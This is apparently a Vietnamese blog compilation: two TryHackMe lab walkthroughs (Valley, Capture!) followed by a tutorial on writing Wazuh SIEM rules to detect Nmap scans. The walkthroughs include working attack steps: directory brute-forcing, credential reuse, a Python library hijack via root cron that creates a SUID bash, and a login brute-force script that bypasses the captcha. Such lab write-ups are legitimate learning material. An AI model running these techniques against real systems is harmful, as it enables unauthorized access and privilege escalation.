div.gallery img {
  width: 100%;
  height: 30%;
}

div.desc {
  padding: 15px;
  text-align: center;
}
</style>
</head>
<body>
<button style="height:100px;width:200px" onclick="window.location.href = '/';"> Return Home </button>

<div class="gallery">
  <a target="_blank" href="/static/1">
    <img src="/static/1" alt="1" width="1200" height="800">
  </a>
  <div class="desc">Image taken of the rapids of the Potomac</div>
</div>
<div class="gallery">
  <a target="_blank" href="/static/2">
    <img src="/static/2" alt="2" width="1200" height="800">
  </a>
  <div class="desc">The stars, as bright as ever</div>
</div>
<div class="gallery">
  <a target="_blank" href="/static/3">
    <img src="/static/3" alt="3" width="1200" height="800">
  </a>
  <div class="desc">Picture taken of Blue lake at sunset</div>
</div>
<div class="gallery">
  <a target="_blank" href="/static/4">
    <img src="/static/4" alt="4" width="1200" height="800">
  </a>
  <div class="desc">Rocks reflecting the sunset</div>
</div>
<div class="gallery">
  <a target="_blank" href="/static/5">
    <img src="/static/5" alt="5" width="1200" height="800">
  </a>
  <div class="desc">Sunset can never be fully captured, but we sure can try</div>
</div>
<div class="gallery">
  <a target="_blank" href="/static/6">
    <img src="/static/6" alt="1" width="1200" height="800">
  </a>
  <div class="desc">Image taken of the Austrain Alps</div>
</div>
<div class="gallery">
  <a target="_blank" href="/static/7">
    <img src="/static/7" alt="1" width="1200" height="800">
  </a>
  <div class="desc">Image taken of a firework</div>
</div>
<div class="gallery">
  <a target="_blank" href="/static/8">
    <img src="/static/8" alt="1" width="1200" height="800">
  </a>
  <div class="desc">Snowcapped peaks below the moon</div>
</div>
<div class="gallery">
  <a target="_blank" href="/static/9">
    <img src="/static/9" alt="1" width="1200" height="800">
  </a>
  <div class="desc">Fire red sunset taken at just the right moment</div>
</div>
<div class="gallery">
  <a target="_blank" href="/static/10">
    <img src="/static/10" alt="1" width="1200" height="800">
  </a>
  <div class="desc">Mountain top view of Blue Lake</div>
</div>
<div class="gallery">
  <a target="_blank" href="/static/11">
    <img src="/static/11" alt="1" width="1200" height="800">
  </a>
  <div class="desc">Fog covered roads in the Mountains</div>
</div>
<div class="gallery">
  <a target="_blank" href="/static/12">
    <img src="/static/12" alt="1" width="1200" height="800">
  </a>
  <div class="desc">Fireside chats below the peaks</div>
</div>
<div class="gallery">
  <a target="_blank" href="/static/13">
    <img src="/static/13" alt="1" width="1200" height="800">
  </a>
  <div class="desc">European Castles</div>
</div>
<div class="gallery">
  <a target="_blank" href="/static/14">
    <img src="/static/14" alt="1" width="1200" height="800">
  </a>
  <div class="desc">Lakeside view of the Alps</div>
</div>
<div class="gallery">
  <a target="_blank" href="/static/15">
    <img src="/static/15" alt="1" width="1200" height="800">
  </a>
  <div class="desc">Sunset picture taken from the hillside</div>
</div>
<div class="gallery">
  <a target="_blank" href="/static/16">
    <img src="/static/16" alt="1" width="1200" height="800">
  </a>
  <div class="desc">Foggy mountainside</div>
</div>
<div class="gallery">
  <a target="_blank" href="/static/17">
    <img src="/static/17" alt="1" width="1200" height="800">
  </a>
  <div class="desc">The crossing of the lake towards the Alps</div>
</div>
<div class="gallery">
  <a target="_blank" href="/static/18">
    <img src="/static/18" alt="1" width="1200" height="800">
  </a>
  <div class="desc">Fun times with friends watching the orange sky</div>
</div>


</body>
</html>

Vậy là các ảnh được đánh số thứ tự và được lưu trong static, nhưng khi vào static thì ở đây trống trơn, không có gì cả. Rất có thể trong này có chứa một cái gì đó khác ngoài 18 bức ảnh trên nên mới bị ẩn đi.

Tôi sẽ dùng gobuster để thử tìm các dir bị ẩn đằng sau static

┌──(rootkali)-[/home/kali]
└─# gobuster dir -u http://10.10.35.151/static/ -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-small.txt -t 100
===============================================================
Gobuster v3.5
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://10.10.35.151/static/
[+] Method:                  GET
[+] Threads:                 100
[+] Wordlist:                /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-small.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.5
[+] Timeout:                 10s
===============================================================
2023/07/23 03:16:05 Starting gobuster in directory enumeration mode
===============================================================
/00                   (Status: 200) [Size: 127]
/3                    (Status: 200) [Size: 421858]
/11                   (Status: 200) [Size: 627909]
/5                    (Status: 200) [Size: 1426557]

Tôi có thêm path /00. Truy cập nó và tôi có vài dòng note

dev notes from valleyDev:
-add wedding photo examples
-redo the editing on #4
-remove /dev1243224123123
-check for SIEM alerts

Tôi có 1 path mới là /dev1243224123123. Truy cập vào và tôi có 1 form đăng nhập. Thử vào xem source của nó

<!DOCTYPE html>
<html lang="en">

<head>
  <meta charset="UTF-8">
  <meta name="viewport" content="width=device-width, initial-scale=1.0">
  <title>Login</title>
  <link rel="stylesheet" href="style.css">
  <script defer src="dev.js"></script>
  <script defer src="button.js"></script>
</head>


<body>
  <main id="main-holder">
    <h1 id="login-header">Valley Photo Co. Dev Login</h1>
    
    <div id="login-error-msg-holder">
      <p id="login-error-msg">Invalid username <span id="error-msg-second-line">and/or password</span></p>
    </div>
    
    <form id="login-form">
      <input type="text" name="username" id="username-field" class="login-form-field" placeholder="Username">
      <input type="password" name="password" id="password-field" class="login-form-field" placeholder="Password">
      <input type="submit" value="Login" id="login-form-submit">
    </form>


    <button id="homeButton">Back to Homepage</button>
  
  </main>
</body>

</html>

Không có gì đặc biệt, tuy nhiên tôi để ý thấy có 1 script tên dev.js

const loginForm = document.getElementById("login-form");
const loginButton = document.getElementById("login-form-submit");
const loginErrorMsg = document.getElementById("login-error-msg");

loginForm.style.border = '2px solid #ccc';
loginForm.style.padding = '20px';
loginButton.style.backgroundColor = '#007bff';
loginButton.style.border = 'none';
loginButton.style.borderRadius = '5px';
loginButton.style.color = '#fff';
loginButton.style.cursor = 'pointer';
loginButton.style.padding = '10px';
loginButton.style.marginTop = '10px';


function isValidUsername(username) {

	if(username.length < 5) {

	console.log("Username is valid");

	}
	else {

	console.log("Invalid Username");

	}

}

function isValidPassword(password) {

	if(password.length < 7) {

        console.log("Password is valid");

        }
        else {

        console.log("Invalid Password");

        }

}

function showErrorMessage(element, message) {
  const error = element.parentElement.querySelector('.error');
  error.textContent = message;
  error.style.display = 'block';
}

loginButton.addEventListener("click", (e) => {
    e.preventDefault();
    const username = loginForm.username.value;
    const password = loginForm.password.value;

    if (username === "siemDev" && password === "california") {
        window.location.href = "/dev1243224123123/devNotes37370.txt";
    } else {
        loginErrorMsg.style.opacity = 1;
    }
})

Ở phần cuối tôi có username và password, thêm cả 1 path mới. Truy cập vào nó và tôi có gợi ý tiếp theo

dev notes for ftp server:
-stop reusing credentials
-check for any vulnerabilies
-stay up to date on patching
-change ftp port to normal port

ở đây có nhắc đến ftp. Tôi sẽ quay lại port ftp và thử dùng username và password phía trên để login

┌──(rootkali)-[/home/kali/Downloads]
└─# ftp 10.10.35.151 37370
Connected to 10.10.35.151.
220 (vsFTPd 3.0.3)
Name (10.10.35.151:kali): siemDev
331 Please specify the password.
Password: 
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> dir
229 Entering Extended Passive Mode (|||54959|)
150 Here comes the directory listing.
-rw-rw-r--    1 1000     1000         7272 Mar 06 13:55 siemFTP.pcapng
-rw-rw-r--    1 1000     1000      1978716 Mar 06 13:55 siemHTTP1.pcapng
-rw-rw-r--    1 1000     1000      1972448 Mar 06 14:06 siemHTTP2.pcapng
226 Directory send OK.
ftp> 

Tải 3 file pcap này về và dùng Wireshark để phân tích.

Sau một lúc khá lâu thì tôi đã tìm thấy thứ mình cần trong file siemHTTP2.pcapng

POST /index.html HTTP/1.1
Host: 192.168.111.136
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 42
Origin: http://192.168.111.136
Connection: keep-alive
Referer: http://192.168.111.136/index.html
Upgrade-Insecure-Requests: 1

uname=valleyDev&psw=ph0t0s1234&remember=onHTTP/1.1 200 OK
Date: Mon, 06 Mar 2023 21:05:08 GMT
Server: Apache/2.4.55 (Debian)
Last-Modified: Mon, 06 Mar 2023 20:46:17 GMT
ETag: "2fc-5f64162f52399-gzip"
Accept-Ranges: bytes
Vary: Accept-Encoding
Content-Encoding: gzip
Content-Length: 369
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: text/html

...........RMO.0...WX..UpDi.Bp.0!qFI....$$.>.=I..m P........|c}.BQgM.:S.a.R...H..K.l V-.x..@i.Bl..e
.....X.9.^....	..n.L.@h*.c...al....\-.(~.k!QC.[....Y.e...../d...2.1n .........Baku.....z..3H...<~...:...va...Q....ob7u.J.>.G....Z.D.Lpa.}..x.Mg"s...g..D...V.C.}...Rxb..c/...m
..#..l.....:.I......o..../7......i<....F..dX....)..f..V.X.X.....)..U...x!.7...|^.'_...Q?.%....GET /img_avatar2.webp HTTP/1.1
Host: 192.168.111.136
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0
Accept: image/avif,image/webp,*/*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: keep-alive
Referer: http://192.168.111.136/index.html

HTTP/1.1 404 Not Found
Date: Mon, 06 Mar 2023 21:05:09 GMT
Server: Apache/2.4.55 (Debian)
Content-Length: 277
Keep-Alive: timeout=5, max=99
Connection: Keep-Alive
Content-Type: text/html; charset=iso-8859-1

<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>404 Not Found</title>
</head><body>
<h1>Not Found</h1>
<p>The requested URL was not found on this server.</p>
<hr>
<address>Apache/2.4.55 (Debian) Server at 192.168.111.136 Port 80</address>
</body></html>

SSH

Thử nhập username và password này vào phần login trên trang web nhưng không được, vào ftp cũng không được. Vậy thì chỉ còn ssh trên port 22

┌──(rootkali)-[/home/kali/Downloads]
└─# ssh valleyDev@10.10.35.151
The authenticity of host '10.10.35.151 (10.10.35.151)' can't be established.
ED25519 key fingerprint is SHA256:cssZyBk7QBpWU8cMEAJTKWPfN5T2yIZbqgKbnrNEols.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.10.35.151' (ED25519) to the list of known hosts.
valleyDev@10.10.35.151's password: 
Welcome to Ubuntu 20.04.6 LTS (GNU/Linux 5.4.0-139-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

 * Introducing Expanded Security Maintenance for Applications.
   Receive updates to over 25,000 software packages with your
   Ubuntu Pro subscription. Free for personal use.

     https://ubuntu.com/pro
valleyDev@valley:~$ id
uid=1002(valleyDev) gid=1002(valleyDev) groups=1002(valleyDev)
valleyDev@valley:~$ 

user flag

valleyDev@valley:~$ ls
user.txt
valleyDev@valley:~$ cat user.txt 
THM{k@l1_1n_th3_v@lley}
valleyDev@valley:~$ 

Privilege escalation

valleyDev@valley:/home$ ls -la
total 752
drwxr-xr-x  5 root      root        4096 Mar  6 13:19 .
drwxr-xr-x 21 root      root        4096 Mar  6 15:40 ..
drwxr-x---  4 siemDev   siemDev     4096 Mar 20 20:03 siemDev
drwxr-x--- 16 valley    valley      4096 Mar 20 20:54 valley
-rwxrwxr-x  1 valley    valley    749128 Aug 14  2022 valleyAuthenticator
drwxr-xr-x  6 valleyDev valleyDev   4096 Jul 23 08:20 valleyDev
valleyDev@valley:/home$ 

Ở đây có 1 file thực thi kiểm tra password cho username. Nhưng cho dù tôi có nhập đúng password của user nào thì nó vẫn ra kết quả sai

valleyDev@valley:/home$ ./valleyAuthenticator 
Welcome to Valley Inc. Authenticator
What is your username: valleyDev
What is your password: ph0t0s1234
Wrong Password or Username
valleyDev@valley:/home$ 

Vậy rất có khả năng trong file thực thi này có chứa password và username khác mà tôi chưa biết. Vậy nên tôi sao chép nó về máy và phân tích

┌──(rootkali)-[/home/kali]
└─# strings valleyAuthenticator

Nó rất, rất dài. Sau 1 lúc kéo và xem hết nó một cách chi tiết thì tôi đã tìm được thứ mình cần

e6722920bab2326f8217e4
bf6b1b58ac
ddJ1cc76ee3
beb60709056cfbOW
elcome to Valley Inc. Authentica
[k0rHh
 is your usernad

Dãy đầu tiên có thể là md5. Tôi sử dụng crackstation và tìm được password là liberty123. Thử với các user còn lại

valleyDev@valley:~$ su valley
Password: 
valley@valley:~$ id
uid=1000(valley) gid=1000(valley) groups=1000(valley),1003(valleyAdmin)
valley@valley:~$ 

User này nằm trong 1 group khác là valleyAdmin. Tôi sẽ thử tìm các file thuộc group này xem có gì đặc biệt không

valley@valley:~$ find / -type f -group valleyAdmin -ls 2>/dev/null
   263097     20 -rwxrwxr-x   1 root     valleyAdmin    20382 Mar 13 03:26 /usr/lib/python3.8/base64.py
valley@valley:~$ 

Vậy là tôi có 1 file thuộc sở hữu của root nhưng nằm trong group valleyAdmin. Vậy thì tôi sẽ thêm payload này vào file trên

import os; os.system("cp /bin/bash /tmp/bash && chmod +s /tmp/bash")

Tuy nhiên để file này có thể chạy được, tôi cần hệ thống chạy 1 file python nào đó và có import thư viện base64. Và sau khi tìm kiếm 1 lúc thì tôi đã thấy nó trong phần crontab

 Example of job definition:
 .---------------- minute (0 - 59)
 |  .------------- hour (0 - 23)
 |  |  .---------- day of month (1 - 31)
 |  |  |  .------- month (1 - 12) OR jan,feb,mar,apr ...
 |  |  |  |  .---- day of week (0 - 6) (Sunday=0 or 7) OR sun,mon,tue,wed,thu,fri,sat
 |  |  |  |  |
 *  *  *  *  * user-name command to be executed
17 *    * * *   root    cd / && run-parts --report /etc/cron.hourly
25 6    * * *   root    test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.daily )
47 6    * * 7   root    test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.weekly )
52 6    1 * *   root    test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.monthly )
1  *    * * *   root    python3 /photos/script/photosEncrypt.py

Điều này có nghĩa là root được đặt lịch để chạy tự động file photosEncrypt.py. Kiểm tra file này

#!/usr/bin/python3
import base64
for i in range(1,7):
# specify the path to the image file you want to encode
        image_path = "/photos/p" + str(i) + ".jpg"

# open the image file and read its contents
        with open(image_path, "rb") as image_file:
          image_data = image_file.read()

# encode the image data in Base64 format
        encoded_image_data = base64.b64encode(image_data)

# specify the path to the output file
        output_path = "/photos/photoVault/p" + str(i) + ".enc"

# write the Base64-encoded image data to the output file
        with open(output_path, "wb") as output_file:
          output_file.write(encoded_image_data)

Có import base64. Vậy thì chỉ cần thêm payload phía trên vào file base64.py và chờ 1 lúc

valley@valley:~$ echo 'import os; os.system("cp /bin/bash /tmp/bash && chmod +s /tmp/bash")' >> /usr/lib/python3.8/base64.py

Kiểm tra lại thư mục /tmp

valley@valley:~$ ls -la /tmp/
total 1220
drwxrwxrwt 16 root      root         4096 Jul 23 09:57  .
drwxr-xr-x 21 root      root         4096 Mar  6 15:40  ..
-rwsr-sr-x  1 root      root      1183448 Jul 23 09:58  bash
drwxrwxrwt  2 root      root         4096 Jul 23 07:47  .font-unix
drwxrwxrwt  2 root      root         4096 Jul 23 07:47  .ICE-unix
srwxrwxr-x  1 valleyDev valleyDev       0 Jul 23 08:21 'rspdpxqzdi;uid=0;'
drwx------  2 root      root         4096 Jul 23 07:47  snap-private-tmp
drwx------  3 root      root         4096 Jul 23 07:47  systemd-private-205e6587105240bea60eba682b3af138-apache2.service-FOOpTi
drwx------  3 root      root         4096 Jul 23 09:54  systemd-private-205e6587105240bea60eba682b3af138-fwupd.service-U4qAGh
drwx------  3 root      root         4096 Jul 23 07:47  systemd-private-205e6587105240bea60eba682b3af138-ModemManager.service-drZerj
drwx------  3 root      root         4096 Jul 23 07:47  systemd-private-205e6587105240bea60eba682b3af138-systemd-logind.service-z7Rsth
drwx------  3 root      root         4096 Jul 23 07:47  systemd-private-205e6587105240bea60eba682b3af138-systemd-resolved.service-gQhb0h
drwx------  3 root      root         4096 Jul 23 07:47  systemd-private-205e6587105240bea60eba682b3af138-systemd-timesyncd.service-XtzeHg
drwx------  3 root      root         4096 Jul 23 09:54  systemd-private-205e6587105240bea60eba682b3af138-upower.service-2QJCNh
drwxrwxrwt  2 root      root         4096 Jul 23 07:47  .Test-unix
drwxrwxrwt  2 root      root         4096 Jul 23 07:47  VMwareDnD
drwxrwxrwt  2 root      root         4096 Jul 23 07:47  .X11-unix
drwxrwxrwt  2 root      root         4096 Jul 23 07:47  .XIM-unix
valley@valley:~$ 

Nó đây rồi

valley@valley:~$ /tmp/bash -p
bash-5.0# id
uid=1000(valley) gid=1000(valley) euid=0(root) egid=0(root) groups=0(root),1000(valley),1003(valleyAdmin)
bash-5.0# cat /root/root.txt
THM{v@lley_0f_th3_sh@d0w_0f_pr1v3sc}
bash-5.0# 

Tryhackme - Capture!

  1. Reconnaissance and Scanning
  2. Python script

TryHackMe - Capture!

Reconnaissance and Scanning

Ngay ở Task 1 tôi đã được cung cấp 1 thư mục chứa 2 file là danh sách usernames và passwords, có thể nghĩ ngay đến việc sử dụng 2 list này để brute-force.

Bài này cũng không cần thiết phải scan port vì ở phần mô tả đã cho tôi sẵn phải truy cập vào http://MACHINE-IP, nghĩa là chỉ có port 80 đang mở.

Sau khi chạy máy và truy cập vào web tôi được 1 site login.

login

Sau khi thử login vài lần thì tôi bị dính captcha. Vậy là web có cơ chế rate limit để tránh brute-force. Tuy nhiên, captcha này chỉ là các phép tính cộng trừ nhân chia các số tự nhiên, vậy nên tôi có thể nghĩ đến việc viết python script để bypass captcha này trong mỗi phiên brute-force.

Python script

Với sự giúp đã của ChatGPT, tôi có thể viết lại script như sau.

Import requests để lấy Session, sử dụng để brute force, import thêm re để sử dụng các biểu thức chính quy.

Đầu tiên tôi cần phải lấy từng dòng trong 2 file usernames.txt và passwords.txt ra để làm username và password, loại bỏ dấu xuống dòng, chỉ lấy đúng phần text trong từng dòng.

Thêm url để thực hiện POST request.

#! /usr/bin/python

from requests import Session
import re 

url = "http://10.10.140.153/login"

usernames = open('usernames.txt','r').read().splitlines()
passwords = open('passwords.txt','r').read().splitlines()

Khi đăng nhập sai, trang web hiện Error: The user does not exist.

error

Vậy thì tôi sẽ brute force username trước bằng cách kiểm tra xem khi nào dữ liệu trả về không chứa đoạn ký tự does not exist, đó là username hợp lệ cần tìm.

for user in usernames:

 response = session.post(url,data=data)
 data['username'] = user
 
 if 'does not exist' not in response.text:
  print(f'Found username: {user}')
  print(f'Attempting to brute forcing passowrd for user: {user}')

Tiếp theo, cần có thêm 1 hàm để giải captcha sau mỗi phiên đăng nhập sai. Sử dụng biểu thức chính quy để định dạng phép tính của captcha.

(\s\s\d+\s[+*-/]\s\d+)\s\=\s\?

Sử dụng hàm complie() để đọc biểu thức chính quy trên. Sử dụng hàm findall() trả về tất cả kết quả khớp với mẫu trong chuỗi. Sử dụng hàm eval() để trả về kết quả mà biểu thức phía trên thực hiện.

def solve_captcha(response):
 
  captcha_syntax = re.compile(r'(\s\s\d+\s[+*-/]\s\d+)\s\=\s\?')
  captcha = captcha_syntax.findall(response)
  return eval(' '.join(captcha))

Cuối cùng, tôi sẽ ghép các phần lại với nhau. Đầu tiên, tạo post session chứa data là username và password.

  • Nếu trong response trả về không có chứa đoạn ký tự does not exist, đó là username hợp lệ cần tìm
  • Nếu trong response trả về có chứa đoạn ký tự Captcha enabled thì gọi hàm solve_captcha để xử lý.
  • Nếu trong response trả về không có chứa đoạn ký tự Error, đó là password hợp lệ cần tìm

Script cuối cùng của tôi sẽ trông như thế này

#! /usr/bin/python

from requests import Session
import re 

url = "http://10.10.140.153/login"

# Removing the line feed (\n) from the usernames and passwords read from the respective files
usernames = open('username.txt','r').read().splitlines()
passwords = open('password.txt', 'r').read().splitlines()


def solve_captcha(response):
 
  captcha_syntax = re.compile(r'(\s\s\d+\s[+*-/]\s\d+)\s\=\s\?')
  captcha = captcha_syntax.findall(response)
  return eval(' '.join(captcha))

#initializing a session
session = Session() 
data = {'username': 'username','password':'password'}
# create a post request to the url with the payload/data using the session opened
response = session.post(url,data=data) 

for user in usernames:

 response = session.post(url,data=data)
 data['username'] = user

 if 'Captcha enabled' in response.text:

  captcha_result = solve_captcha(response.text)

  data['captcha'] = captcha_result

 response = session.post(url,data =data)

 if 'does not exist' not in response.text:
  
  print(f'Found username: {user}')
  print(f"Trying brute force passowrd for user: {user}")

  for password in passwords:

   captcha_result = solve_captcha(response.text)
   data['password'] = password
   data['captcha'] = captcha_result

   response = session.post(url,data=data)

   if 'Error' not in response.text:

    print(f'----> Found Username: {user} Password: {password} ')
    exit()
   
   else:
    print(f'[*]Trying password: {password} for user ')
 
 else:
  print(f'[*] Trying brute force password for user: {user}')

Kết quả

[*]Trying password: 147258369 for user 
[*]Trying password: fernandez for user 
[*]Trying password: sakura for user 
[*]Trying password: robbie for user 
[*]Trying password: qwert for user 
[*]Trying password: shaggy for user 
[*]Trying password: 123654789 for user 
[*]Trying password: popcorn for user 
[*]Trying password: martha for user 
[*]Trying password: dance for user 
[*]Trying password: brooke for user 
[*]Trying password: 147852369 for user 
----> Found Username: natalie Password: sk8board                                                           
┌──(rootkali)-[/home/kali]
└─# 

Login site

flag

Viết Decoders và Rules cho hệ thống Wazuh - Part 2

  1. Ruleset
    1. Là gì? Để làm gì?
    2. Viết như thế nào?
  2. Phần kết

Ruleset

Là gì? Để làm gì?

Sau khi đã biên dịch log để Wazuh có thể hiểu được log của chúng ta đang “nói” gì, việc tiếp theo là làm cho nó hiện lên màn hình (dashboard) của chúng ta. Không phải tất cả các log Wazuh nhận được sẽ đều hiển thị lên màn hình, việc này sẽ gây loãng thông tin, làm cho quản trị viên mất rất nhiều thời gian để quản lý cũng như xác định đúng hiểm họa đang xảy ra đối với tổ chức của mình.

Việc viết rule chính là để “nói” cho Wazuh biết log nào cần hiển thị, hiển thị nó như thế nào và quan trọng nhất là dựa vào decoder nào.

Cũng giống như decoder con phụ thuộc vào decoder cha, rule khi được viết ra cũng phải dựa trên decoder cha. Vì Wazuh “làm việc” với decoder chứ không phải log, vậy nên nếu không theo decoder nào thì rule đó không có nội dung và cũng không có ý nghĩa.

Giống như Decoder, Rules cũng có những tùy chọn để định cấu hình. Documentation của Wazuh đã định nghĩa tất cả các tùy chọn có thể được sử dụng trong khi viết rules. Tuy nhiên tôi cũng sẽ liệt kê những gì tôi hay dùng nhất.

OptionValuesDescription
rulebảngTạo rule mới và các tùy chọn bên trong nó
matchregexKiểm tra xem trong log có chứa ký tự (sử dụng sregex) trùng với ký tự được xác định hay không
regexregex,sregex hoặc pcre2Giống với match, nhưng sử dụng regex
decoded_asTên của decoder chaKhớp với decoder cha
fieldregexSo sánh một trường trong phần order đã được định nghĩa trong decoder
descriptionKý tự bất kỳMô tả về nội dung cảnh báo
groupKý tự bất kỳPhân loại cảnh báo theo nhóm
if_sidDanh sách ID được phân tách bằng dấu phẩyGiống như rule con phụ thuộc vào rule cha

Các tùy chọn khác có thể được dùng trong các trường hợp nhất định tùy thuộc vào đặc điểm nội dung của các loại log có trong hệ thống.

Viết như thế nào?

Tương tự như decoder, các rules cũng được viết dưới dạng XML, và như có đề cập ở trên, rule được viết dựa trên các trường của decoder, ngoài ra chúng ta cũng có thể dựa vào nội dung của log làm điều kiện để viết rule một cách chi tiết nhất.

Các rule này không nhất thiết phải sinh theo dạng cha-con, chúng có thể được tạo độc lập với nhau và đại diện cho một đặc điểm nào đó xuất hiện trong decoder.

Tôi sẽ quay lại ví dụ như đã làm ở decoder cho có tính thống nhất.

CEF:0|Imperva Inc.|SecureSphere|10.6.0|Recommended Signatures Policy for Web Applications|Recommended Signatures Policy for Web Applications|High|act=Block dst=10.11.12.13 dpt=443 duser=n/a src=103.187.191.141 spt=36614 proto=TCP rt=Apr 26 2023 13:08:12 cat=Alert cs1=Recommended Signatures Policy for Web Applications cs1Label=Policy cs2=mail.re-toor.vn cs2Label=ServerGroup cs3=mail cs3Label=ServiceName cs4=mail.re-toor.vn cs4Label=ApplicationName cs5=Nmap scanner cs5Label=Description

Đầu tiên tôi sẽ cho nó vào 1 group nhằm mục đích tập hợp nhóm các loại rule dựa trên log có cùng đặc điểm chung. Ví dụ như log trên nhận được dưới dạng CEF (Common Event Format) và đây là log của Imperva, nên tôi sẽ cho các rule này vào nhóm Imperva và CEF

<group name="Imperva,CEF,">

</group>

Bây giờ các rule về Imperva sẽ được viết bên trong group này.

Mặc dù rule không cần thiết phải viết dưới dạng cha-con, nhưng để cho rõ ràng và có hệ thống, tôi vẫn sẽ tạo rule đầu tiên chứa decoder mà rule sẽ phụ thuộc và thêm mô tả cho nó, coi nó giống như rule cha. Tất cả các rule tiếp theo chỉ cần phụ thuộc vào cha thì sẽ không cần khai báo lại decoder nữa.

    <rule id="82002" level="0">
        <decoded_as>Imperva</decoded_as>
        <description>WAF messages grouped.</description>
    </rule>

Mỗi rule khi sinh ra đều phải có id và level - mức độ nghiêm trọng. Level sẽ quyết định xem rule nào được coi là cảnh báo (alert) xuất hiện trên dashboard còn rule nào thì không. Tiếp theo, <decoder_as> là trường dùng dể xác định rule này dựa tren decoder nào. Cuối cùng là <description> là mô tả của rule, trên dashboard của tôi sẽ sẽ hiện mô tả này.

Cấu hình mặc định của Wazuh cho chúng ta cảnh báo từ level 3, nghĩa là các log thuộc level 0 - 2 sẽ không được coi là alert và không hiện trên dashboard. Tôi sẽ cũng để theo cấu hình mặc định của Wazuh. Thực ra việc để cấu hình level bao nhiêu không quan trọng vì tôi có thể sửa được level của rule theo mức độ nghiêm trọng và theo cấu hình của Wazuh.

Bây giờ tôi sẽ xác định xem log này có những gì để có thể là điều kiện để viết rule cảnh báo. Để ý 1 chút thì tôi có trường cs5Label có giá trị là Description, có thể suy ra trường này là miêu tả cho trường cs5. cs5 có giá trị là Nmap scanner, vậy thì trường có thể là đại diện cho nội dung của log này, tôi có thể dựa vào cs5 làm điều kiện phụ thuộc để viết rule.

    <rule id="82023" level="12">
        <if_sid>82002</if_sid>
        <match>Nmap scanner</match>
        <description>$(cs5)</description>
        <mitre>
            <id>T1046</id>
        </mitre>
    </rule>

Tôi đặt id của rule này là 82023. Với level 12 thì rule này sẽ sinh ra alert ở mức Critical - nghiêm trọng và sẽ báo đỏ trên dashboard, nhằm thông báo cho quản trị viên biết hệ thống đang bị rò quét port.

Với <if_sid> 82002 nghĩa là rule 82023 này sẽ phụ thuộc vào rule 82002, nếu log không được phát hiện bởi 82002 thì 82023 cũng sẽ không được kích hoạt.

Trường <match> dùng để xác định ký tự tồn tại trong log. Nếu như trong log có xuất hiện text “Nmap scanner” thì rule này sẽ được kích hoạt.

<description> sử dụng $(cs5) chỉ định rằng nếu rule này được kích hoạt thì mô tả của cảnh báo này sẽ xuất hiện với nội dung của trường cs5

Còn <mitre> là trường dùng để gắn các kỹ thuật được định nghĩa tại MITRE ATT&CK®. Để gắn được giá trị này cần có hiểu biết về nó. Tôi sẽ viết về phần này trong 1 bài riêng.

Cuối cùng tôi có rule cơ bản như sau:

<group name="Imperva,CEF,">

    <rule id="82002" level="0">
        <decoded_as>Imperva</decoded_as>
        <description>WAF messages grouped.</description>
    </rule>
    <rule id="82023" level="12">
        <if_sid>82002</if_sid>
        <match>Nmap scanner</match>
        <description>$(cs5)</description>
        <mitre>
            <id>T1046</id>
        </mitre>
    </rule>
</group>

Kiểm tra rule với wazuh-logtest

root@dc-siemtest:/home/siemadmin# /var/ossec/bin/wazuh-logtest
Starting wazuh-logtest v4.4.5
Type one log per line

CEF:0|Imperva Inc.|SecureSphere|10.6.0|Recommended Signatures Policy for Web Applications|Recommended Signatures Policy for Web Applications|High|act=Block dst=10.11.12.13 dpt=443 duser=n/a src=103.187.191.141 spt=36614 proto=TCP rt=Apr 26 2023 13:08:12 cat=Alert cs1=Recommended Signatures Policy for Web Applications cs1Label=Policy cs2=mail.re-toor.vn cs2Label=ServerGroup cs3=mail cs3Label=ServiceName cs4=mail.re-toor.vn cs4Label=ApplicationName cs5=Nmap scanner cs5Label=Description

**Phase 1: Completed pre-decoding.
        full event: 'CEF:0|Imperva Inc.|SecureSphere|10.6.0|Recommended Signatures Policy for Web Applications|Recommended Signatures Policy for Web Applications|High|act=Block dst=10.11.12.13 dpt=443 duser=n/a src=103.187.191.141 spt=36614 proto=TCP rt=Apr 26 2023 13:08:12 cat=Alert cs1=Recommended Signatures Policy for Web Applications cs1Label=Policy cs2=mail.re-toor.vn cs2Label=ServerGroup cs3=mail cs3Label=ServiceName cs4=mail.re-toor.vn cs4Label=ApplicationName cs5=Nmap scanner cs5Label=Description'

**Phase 2: Completed decoding.
        name: 'Imperva'
        action: 'Block'
        application: 'SecureSphere'
        cat: 'Alert'
        cs1: 'Recommended Signatures Policy for Web Applications'
        cs1Label: 'Policy'
        cs2: 'mail.re-toor.vn'
        cs2Label: 'ServerGroup'
        cs3: 'mail'
        cs3Label: 'ServiceName'
        cs4: 'mail.re-toor.vn'
        cs4Label: 'ApplicationName'
        cs5: 'Nmap scanner'
        dpt: '443'
        dst: '10.11.12.13'
        duser: 'n/a'
        event.name: 'Recommended Signatures Policy for Web Applications'
        event.type: 'Recommended Signatures Policy for Web Applications'
        protocol: 'TCP'
        rt: 'Apr 26 2023 13:08:12'
        severity: 'High'
        src: '103.187.191.141'
        version: '10.6.0'

**Phase 3: Completed filtering (rules).
        id: '82023'
        level: '12'
        description: 'Nmap scanner'
        groups: '['Imperva', 'CEF']'
        firedtimes: '1'
        mail: 'True'
        mitre.id: '['T1046']'
        mitre.tactic: '['Discovery']'
